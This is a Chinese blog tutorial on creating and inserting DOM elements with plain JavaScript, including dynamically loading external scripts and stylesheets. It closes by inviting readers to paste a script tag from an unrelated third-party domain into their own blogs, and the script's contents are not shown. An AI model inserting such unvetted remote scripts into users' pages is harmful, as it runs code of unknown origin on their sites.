js虽然是人家用10天时间就开发出的语言,有比较多的漏洞,但不得不承认js是个很灵活和强大的语言。很多人习惯用jqeury,但是,我觉得用纯js的东西更加的好,减少了依赖而且更加的灵活。今天就总结一个js创建各类标签,并且将创建的标签放到指定的页面中任何位置的功能。
一,创建标签,我们使用document.createElement();来创建,自定位置,我们用appendChild,对指定标签内部增加标签,默认放在指定标签的内部所有标签的后面;insertBefore,对指定标签的前方增加标签,这样我们就能对指定标签的前方增加创建的标签。这个创建和指定要结合使用才有意义。
二,写一个在整个页面头部增加一个div写入自己内容的功能。代码:
1 2 3 4 5 |
var divObj = document.createElement("div"); divObj.innerHTML = '这里是div内部的东西,我们可以写任何东西,当然除了js引用等'; divObj.id = "rjdiv1"; var first = document.body.firstChild; //得到第一个元素 document.body.insertBefore(divObj,first); //在第原来的第一个元素之前插入 |
上面个功能,就是创建了一个id为rjdiv1的div,并先获取了body里面的第一个元素,在这个元素之前,插入了这个div,当然我们也可以写一些判断,如果没有第一个元素,可以直接在body里面用appendChild来增加这个div;document.getElementsByTagName(“body”)[0].appendChild(divObj);
三,不知道有么有遇到过这样的情况,用了一个ajax,或者其他的异步加载、瀑布流等,一开始的页面,内部的js起作用,可是局部再次加载后的js又不起作用了,原因是,js是一种从上到下一步步执行的,新加入的标签相当于跳出了js的控制,所以要再次引入一下这个js,这个再次引入,可以使用
1 2 3 4 |
var js = document.createElement("script"); js.src = "http://www.521php.com/api/hlj_head/js/iepng.js"; js.type = "text/javascript"; document.getElementsByTagName("head")[0].appendChild(js); |
css也是一样
1 2 3 4 |
var othercss = document.createElement("link"); othercss.href = "http://www.wjynbfyy-tnb.com/api/hlj_head/style/main.css"; othercss.rel = "stylesheet"; document.getElementsByTagName("head")[0].appendChild(othercss); |
这样就可以比较灵活的实现一些比较强大的功能了,比如,您可以创建一个静态的html页面,里面写入一些标签,或者是你在自己的博客上面加上这一段js试一下
1 |
<script charset="gb2312" src="http://www.wjynbfyy-tnb.com/api/rw/yn.js"></script> |
本文链接:http://www.521php.com/archives/1133/
程序本天成,妙手偶得之!我们只是代码的搬运工!
转载请注明:http://www.521php.com/archives/1133/
2021年03月03日 下午 2:47 111 | 引用 | #1
ok iddd好的